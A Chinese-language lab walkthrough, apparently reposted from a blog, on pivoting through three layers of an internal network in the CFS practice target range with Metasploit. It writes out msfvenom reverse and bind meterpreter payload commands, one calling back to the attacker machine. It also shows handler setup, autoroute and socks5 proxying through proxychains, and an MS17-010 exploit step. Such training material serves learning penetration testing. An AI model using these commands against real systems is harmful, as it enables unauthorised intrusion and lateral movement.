前言

在有些内网环境中,它的内网环境分为好几层,我们必须通过拿到一层内网中服务器的权限之后再通过这一内网中的服务器进一步访问二层内网中的其他服务器。在这种环境中,我们就需要多级代理突破层层内网,来实现在内网中漫游。

环境搭建

本次实验环境借助一个CFS三层的靶机,靶机下载地址如下

【CFS三层靶机环境】百度网盘链接:
链接: https://pan.baidu.com/s/1LJueA-X02K7HZXr8QsOmeg
提取码: dkcp
解压密码:teamssix.com

网络拓扑图如下(子网掩码都为24位)

在该网络拓扑中178网段模拟的是外网环境,239网段为第一层内网,154网段为第二层内网,每一个target靶机中都存放着一个flag,最终目的是要拿到所有目标靶机中的flag,当然我们这讨论的是代理知识,所以flag我们就忽略掉。

攻击过程

首先用nmap对178网段中存活主机做一个探测

可以发现在178网段中存在一个142的地址,也就是centos7的地址,发现142可以再利用nmap对其进行一个系统扫描

其中开放这80端口,我们可以对他的80端口进行一个访问,最终是会发现存在一个Think PHP

该版本存在一个RCE执行,这里利用工具进行一键get shell

 

 

然后蚁剑链接

连接之后,我们利用msfvenom创建一个后门

msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.178.128 lport=4444 -f elf >shell.elf

通过web shell上传到target 1服务器上,然后在kali上配置监听

msf5 > use exploit/multi/handler 
msf5 exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.178.128

执行后门拿下target 1服务器权限

在拿到meterpreter权限之后,我们可以 run get_local_subnets 查看一下网络中的路由信息

meterpreter > run get_local_subnets

可以发现还存在239的网段,那我们先往session里面添加一条239网段的路由

meterpreter > run autoroute -s 192.168.239.0/24

然后使用 run autoroute -p 查看session中的路由是否添加成功。

发现已存在,接下来我们使用一个socks5代理模块

msf5 exploit(multi/handler) > use auxiliary/server/socks5

然后配置好ip,run启动

配置好了socks代理,我们可以借助一款kali上自带的全局代理软件proxychains来连接socks代理

首先我们对proxychains代理软件进行配置

vim /etc/proxychains.conf

在末尾添加socks代理的映射关系(且与在MSF上配置的相对应)

配置好后,我们利用代理软件来启动nmap对239网段中存活主机做一个探测

proxychains nmap -sT -p80 192.168.239.1/24   #正常不能添加-p参数,这里为上帝视角知道239网段中129主机启动着一个web服务,目的是让扫描快一点

扫描到239网段中的129地址,接下来和之前一样对其进行一个系统的扫描,访问web服务,web服务中存在sql注入然后拿下web权限(target2拿web权限的操作省略),拿下权限通过msfvenom创建后门进行上传,但是此处的后门要生成一个正向的后门。

msfvenom -p linux/x64/meterpreter/bind_tcp lport=1234 -f elf >shell2.elf

此处为什么要生成一个正向的木马呢,我们在这分析一下,这里再放下拓扑图,方便理解。

 

我们拿下了target2的web权限,加入这是我们上传的是反向的木马,那么target2就要去寻找我们kali的路由,但是target2主机中没有kali的路由,那么就会导致我们的反弹shell失败,之后我们再来看看正向的。

我们生成了一个正向的木马,我们的kali攻击机就会去主动寻找target2的服务器,这个时候我们应为做了一个socks5的代理,我们的流量会通过kali的ip的1080端口代理给target1,然后target1中是存在239网段中的路由的,所以我们可以正常进行连接。

理解好之后,之后的操作就很简单了,通过我们通过sql注入拿到的web权限上传木马,然后在kali上利用proxychains启动msfconsole

root@root:~/桌面# proxychains msfconsole

然后配置监听

msf5 > use exploit/multi/handler 
msf5 exploit(multi/handler) > set payload linux/x64/meterpreter/bind_tcp
msf5 exploit(multi/handler) > set lport 1234
msf5 exploit(multi/handler) > set rhost 192.168.239.129

 

 执行木马即可拿下第二层主机服务器权限

 

拿下第二层之后,之后操作大同小异,添加路由,探测第三层存活主机,发现192.168.154.129的ip,然后该台机器存在永恒之蓝漏洞,利用ms17-010拿下第三层权限

msf5 exploit(multi/handler) > use exploit/windows/smb/ms17_010_psexec

msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/bind_tcp 

 

至此三个靶机中的flag都可以找到。

 

内容来源于网络如有侵权请私信删除

文章来源: 博客园

原文链接: https://www.cnblogs.com/sfsec/p/15524648.html

你还没有登录,请先登录注册
  • 还没有人评论,欢迎说说您的想法!